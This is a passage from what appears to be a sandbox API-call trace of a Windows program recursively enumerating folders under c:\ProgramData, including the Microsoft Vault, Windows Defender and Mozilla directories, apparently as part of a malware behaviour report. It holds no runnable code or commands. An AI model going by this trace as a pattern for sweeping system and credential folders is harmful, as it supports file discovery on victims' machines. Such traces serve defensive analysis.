lpString2="Vault" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault") returned="c:\\ProgramData\\Microsoft\\Vault" [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\") returned="c:\\ProgramData\\Microsoft\\Vault\\" [0121.329] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Vault\\") returned 31 [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\*") returned="c:\\ProgramData\\Microsoft\\Vault\\*" [0121.329] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.329] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.329] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.329] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.329] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.329] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.329] lstrcmpW (lpString1="AC658CB4-9126-49BD-B877-31EEDAB3F204", lpString2=".") returned 1 [0121.329] lstrcmpW (lpString1="AC658CB4-9126-49BD-B877-31EEDAB3F204", lpString2="..") returned 1 [0121.329] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Vault\\") returned 31 [0121.329] lstrlenW (lpString="AC658CB4-9126-49BD-B877-31EEDAB3F204") returned 36 [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Vault\\", lpString2="AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: lpString1="c:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="c:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204" [0121.329] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.329] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.329] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.329] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0121.329] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0121.329] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.329] lstrlenW (lpString="Windows") returned 7 [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows") returned="c:\\ProgramData\\Microsoft\\Windows" [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\") returned="c:\\ProgramData\\Microsoft\\Windows\\" [0121.329] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.329] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\*") returned="c:\\ProgramData\\Microsoft\\Windows\\*" [0121.329] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.329] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.329] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.329] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.329] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.329] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.329] lstrcmpW (lpString1="AIT", lpString2=".") returned 1 [0121.329] lstrcmpW (lpString1="AIT", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="AIT") returned 3 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="AIT" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\AIT") returned="c:\\ProgramData\\Microsoft\\Windows\\AIT" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="Caches", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="Caches", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="Caches") returned 6 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Caches" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Caches") returned="c:\\ProgramData\\Microsoft\\Windows\\Caches" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="DeviceMetadataStore", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="DeviceMetadataStore", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="DeviceMetadataStore") returned 19 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="DeviceMetadataStore" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="c:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="DRM", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="DRM", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="DRM") returned 3 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="DRM" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\DRM") returned="c:\\ProgramData\\Microsoft\\Windows\\DRM" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="GameExplorer", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="GameExplorer", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="GameExplorer") returned 12 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="GameExplorer" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="c:\\ProgramData\\Microsoft\\Windows\\GameExplorer" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="Power Efficiency Diagnostics", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="Power Efficiency Diagnostics", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="Power Efficiency Diagnostics") returned 28 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Power Efficiency Diagnostics" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="c:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="Ringtones", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="Ringtones", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="Ringtones") returned 9 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Ringtones" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Ringtones") returned="c:\\ProgramData\\Microsoft\\Windows\\Ringtones" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="Sqm", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="Sqm", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="Sqm") returned 3 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Sqm" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Sqm") returned="c:\\ProgramData\\Microsoft\\Windows\\Sqm" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="Start Menu") returned 10 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Start Menu" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Start Menu") returned="c:\\ProgramData\\Microsoft\\Windows\\Start Menu" [0121.330] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.330] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0121.330] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0121.330] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.330] lstrlenW (lpString="Templates") returned 9 [0121.330] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="Templates" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\Templates") returned="c:\\ProgramData\\Microsoft\\Windows\\Templates" [0121.331] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.331] lstrcmpW (lpString1="WER", lpString2=".") returned 1 [0121.331] lstrcmpW (lpString1="WER", lpString2="..") returned 1 [0121.331] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows\\") returned 33 [0121.331] lstrlenW (lpString="WER") returned 3 [0121.331] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows\\", lpString2="WER" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows\\WER") returned="c:\\ProgramData\\Microsoft\\Windows\\WER" [0121.331] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.331] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.331] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.331] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0121.331] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0121.331] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.331] lstrlenW (lpString="Windows Defender") returned 16 [0121.331] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows Defender" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender") returned="c:\\ProgramData\\Microsoft\\Windows Defender" [0121.331] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\") returned="c:\\ProgramData\\Microsoft\\Windows Defender\\" [0121.331] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows Defender\\") returned 42 [0121.331] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows Defender\\*") returned="c:\\ProgramData\\Microsoft\\Windows Defender\\*" [0121.331] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.335] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.335] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0121.335] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0121.335] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.336] lstrlenW (lpString="Windows NT") returned 10 [0121.336] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="Windows NT" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT") returned="c:\\ProgramData\\Microsoft\\Windows NT" [0121.336] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\") returned="c:\\ProgramData\\Microsoft\\Windows NT\\" [0121.336] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0121.336] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\*") returned="c:\\ProgramData\\Microsoft\\Windows NT\\*" [0121.336] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\Windows NT\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.343] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.343] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.343] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.343] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.343] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.343] lstrcmpW (lpString1="MSFax", lpString2=".") returned 1 [0121.343] lstrcmpW (lpString1="MSFax", lpString2="..") returned 1 [0121.343] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0121.343] lstrlenW (lpString="MSFax") returned 5 [0121.343] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="MSFax" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="c:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0121.343] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.343] lstrcmpW (lpString1="MSScan", lpString2=".") returned 1 [0121.343] lstrcmpW (lpString1="MSScan", lpString2="..") returned 1 [0121.344] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\Windows NT\\") returned 36 [0121.344] lstrlenW (lpString="MSScan") returned 6 [0121.344] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\", lpString2="MSScan" | out: lpString1="c:\\ProgramData\\Microsoft\\Windows NT\\MSScan") returned="c:\\ProgramData\\Microsoft\\Windows NT\\MSScan" [0121.344] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.344] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.344] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.344] lstrcmpW (lpString1="WwanSvc", lpString2=".") returned 1 [0121.344] lstrcmpW (lpString1="WwanSvc", lpString2="..") returned 1 [0121.344] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\") returned 25 [0121.344] lstrlenW (lpString="WwanSvc") returned 7 [0121.344] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\", lpString2="WwanSvc" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc") returned="c:\\ProgramData\\Microsoft\\WwanSvc" [0121.344] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\" [0121.344] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned 33 [0121.344] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\*") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\*" [0121.344] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft\\WwanSvc\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.371] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.371] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.371] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.371] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0121.371] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0121.371] lstrlenW (lpString="c:\\ProgramData\\Microsoft\\WwanSvc\\") returned 33 [0121.371] lstrlenW (lpString="Profiles") returned 8 [0121.372] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\", lpString2="Profiles" | out: lpString1="c:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="c:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0121.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.372] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.372] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.372] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.372] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.372] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0121.372] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0121.372] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.372] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0121.372] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive") returned="c:\\ProgramData\\Microsoft OneDrive" [0121.372] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\") returned="c:\\ProgramData\\Microsoft OneDrive\\" [0121.372] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\") returned 34 [0121.372] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\*") returned="c:\\ProgramData\\Microsoft OneDrive\\*" [0121.372] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.382] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.382] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.382] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.382] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.382] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.382] lstrcmpW (lpString1="setup", lpString2=".") returned 1 [0121.382] lstrcmpW (lpString1="setup", lpString2="..") returned 1 [0121.382] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\") returned 34 [0121.382] lstrlenW (lpString="setup") returned 5 [0121.382] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\", lpString2="setup" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup") returned="c:\\ProgramData\\Microsoft OneDrive\\setup" [0121.382] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup", lpString2="\\" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\") returned="c:\\ProgramData\\Microsoft OneDrive\\setup\\" [0121.382] lstrlenW (lpString="c:\\ProgramData\\Microsoft OneDrive\\setup\\") returned 40 [0121.382] lstrcatW (in: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Microsoft OneDrive\\setup\\*") returned="c:\\ProgramData\\Microsoft OneDrive\\setup\\*" [0121.382] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.383] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.383] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.383] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.383] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.383] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.383] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.383] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.383] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.383] lstrcmpW (lpString1="Mozilla", lpString2=".") returned 1 [0121.383] lstrcmpW (lpString1="Mozilla", lpString2="..") returned 1 [0121.383] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.383] lstrlenW (lpString="Mozilla") returned 7 [0121.383] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Mozilla" | out: lpString1="c:\\ProgramData\\Mozilla") returned="c:\\ProgramData\\Mozilla" [0121.383] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla", lpString2="\\" | out: lpString1="c:\\ProgramData\\Mozilla\\") returned="c:\\ProgramData\\Mozilla\\" [0121.383] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\") returned 23 [0121.383] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Mozilla\\*") returned="c:\\ProgramData\\Mozilla\\*" [0121.383] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Mozilla\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.387] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.387] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.387] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.387] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.387] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.387] lstrcmpW (lpString1="logs", lpString2=".") returned 1 [0121.387] lstrcmpW (lpString1="logs", lpString2="..") returned 1 [0121.387] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\") returned 23 [0121.387] lstrlenW (lpString="logs") returned 4 [0121.387] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\", lpString2="logs" | out: lpString1="c:\\ProgramData\\Mozilla\\logs") returned="c:\\ProgramData\\Mozilla\\logs" [0121.387] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs", lpString2="\\" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\") returned="c:\\ProgramData\\Mozilla\\logs\\" [0121.387] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\") returned 28 [0121.387] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\*") returned="c:\\ProgramData\\Mozilla\\logs\\*" [0121.387] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.388] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.388] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.388] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.388] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.388] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.388] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2=".") returned 1 [0121.388] lstrcmpW (lpString1="maintenanceservice-install.log", lpString2="..") returned 1 [0121.388] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\") returned 28 [0121.388] lstrlenW (lpString="maintenanceservice-install.log") returned 30 [0121.388] lstrcatW (in: lpString1="c:\\ProgramData\\Mozilla\\logs\\", lpString2="maintenanceservice-install.log" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0121.388] lstrlenW (lpString="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned 58 [0121.388] lstrcpyW (in: lpString1=0x24a6578, lpString2="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" | out: lpString1="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned="c:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log" [0121.388] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.388] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.388] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.388] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.388] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.388] lstrcmpW (lpString1="Oracle", lpString2=".") returned 1 [0121.388] lstrcmpW (lpString1="Oracle", lpString2="..") returned 1 [0121.388] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.388] lstrlenW (lpString="Oracle") returned 6 [0121.388] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Oracle" | out: lpString1="c:\\ProgramData\\Oracle") returned="c:\\ProgramData\\Oracle" [0121.388] lstrcatW (in: lpString1="c:\\ProgramData\\Oracle", lpString2="\\" | out: lpString1="c:\\ProgramData\\Oracle\\") returned="c:\\ProgramData\\Oracle\\" [0121.388] lstrlenW (lpString="c:\\ProgramData\\Oracle\\") returned 22 [0121.388] lstrcatW (in: lpString1="c:\\ProgramData\\Oracle\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Oracle\\*") returned="c:\\ProgramData\\Oracle\\*" [0121.388] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Oracle\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.413] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.413] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.413] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.413] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.413] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.413] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.413] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.413] lstrcmpW (lpString1="Package Cache", lpString2=".") returned 1 [0121.413] lstrcmpW (lpString1="Package Cache", lpString2="..") returned 1 [0121.413] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.413] lstrlenW (lpString="Package Cache") returned 13 [0121.413] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Package Cache" | out: lpString1="c:\\ProgramData\\Package Cache") 